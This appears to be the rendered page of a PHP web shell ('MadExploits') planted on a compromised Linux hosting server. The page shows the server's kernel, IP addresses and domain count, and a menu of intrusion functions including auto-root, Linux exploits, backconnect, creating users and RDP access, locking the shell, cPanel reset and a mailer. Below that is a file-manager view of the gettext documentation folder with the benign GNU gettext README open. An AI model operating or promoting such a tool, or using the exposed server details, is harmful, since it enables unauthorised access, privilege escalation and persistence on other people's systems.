Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.129.216.15
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
gettext-0.19.8.1 /
[ HOME SHELL ]
Name
Size
Permission
Action
AUTHORS
1.43
KB
-rw-r--r--
BUGS
146
B
-rw-r--r--
COPYING
34.32
KB
-rw-r--r--
COPYING.LIB
25.92
KB
-rw-r--r--
DISCLAIM
2.26
KB
-rw-r--r--
NEWS
42.81
KB
-rw-r--r--
README
2.26
KB
-rw-r--r--
THANKS
16.38
KB
-rw-r--r--
envsubst.1.html
3.64
KB
-rw-r--r--
gettext.1.html
4.66
KB
-rw-r--r--
ngettext.1.html
4.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README
This is the GNU gettext package. It is interesting for authors or maintainers of other packages or programs which they want to see internationalized. As one step the handling of messages in different languages should be implemented. For this task GNU gettext provides the needed tools and library functions. It is also interesting for translators, because GNU gettext provides the 'msgmerge' program, which prepares a message catalog before a translation update. Users of GNU packages should also install GNU gettext because some other GNU packages will use the gettext program included in this package to internationalize the messages given by shell scripts. The homepage of this package is at http://www.gnu.org/software/gettext/ The primary FTP site for its distribution is ftp://ftp.gnu.org/pub/gnu/gettext/ Send comments and bug reports to bug-gnu-gettext@gnu.org The configure script provides a non-standard option. It is also available in other packages that use the functionality of GNU gettext. Use --disable-nls if you absolutely don't want to have messages handling code. You will always get the original messages (mostly English). You could consider using NLS support even when you do not need other tongues. If you do not install any messages catalogs or do not specify to use another but the C locale you will not get translations. The set of languages for which catalogs should be installed can also be specified while configuring. Of course they must be available but the intersection of these two sets are computed automatically. You could once and for all define in your profile/cshrc the variable LINGUAS: (Bourne Shell) LINGUAS="de fr nl"; export LINGUAS (C Shell) setenv LINGUAS "de fr nl" or specify it directly while configuring env LINGUAS="de fr nl" ./configure Consult the manual for more information on language names. Other files you might look into: ABOUT-NLS - current state of the GNU internationalization effort COPYING - copying conditions DEPENDENCIES - list of prerequisite packages, to be installed before this one INSTALL - general compilation and installation rules NEWS - major changes in the current version THANKS - list of contributors
Close